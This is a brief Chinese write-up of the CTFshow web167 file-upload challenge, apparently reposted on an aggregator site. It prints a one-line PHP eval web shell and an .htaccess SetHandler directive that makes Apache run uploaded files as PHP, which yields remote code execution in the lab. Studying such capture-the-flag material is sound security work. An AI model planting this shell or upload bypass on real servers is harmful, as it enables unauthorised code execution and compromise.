目錄

• 思路
• 總結(jié)

---

思路

根據(jù)提示上傳了包含shell的jpg文件,上傳成功,點擊下載文件,發(fā)現(xiàn)沒有存在文件包含點,訪問upload檢查是否有可執(zhí)行文件,提示沒有權(quán)限,但是發(fā)現(xiàn)中間件是apache

可以直接上傳phtml,但是文件沒有被成功解析.這時候可以上傳.htaccess,對所有文件進行php解析

<?php echo 123;eval($_POST['kradress']);?>

.htaccess

Sethandler application/x-httpd-php <!-將該目錄及子目錄下的文件均按照php文件解析執(zhí)行-->

再訪問phtml,發(fā)現(xiàn)回顯成功,直接RCE拿到flag

---

總結(jié)

…

總結(jié)

以上是生活随笔為你收集整理的CTFshow 文件上传 web167的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯，歡迎將生活随笔推薦給好友。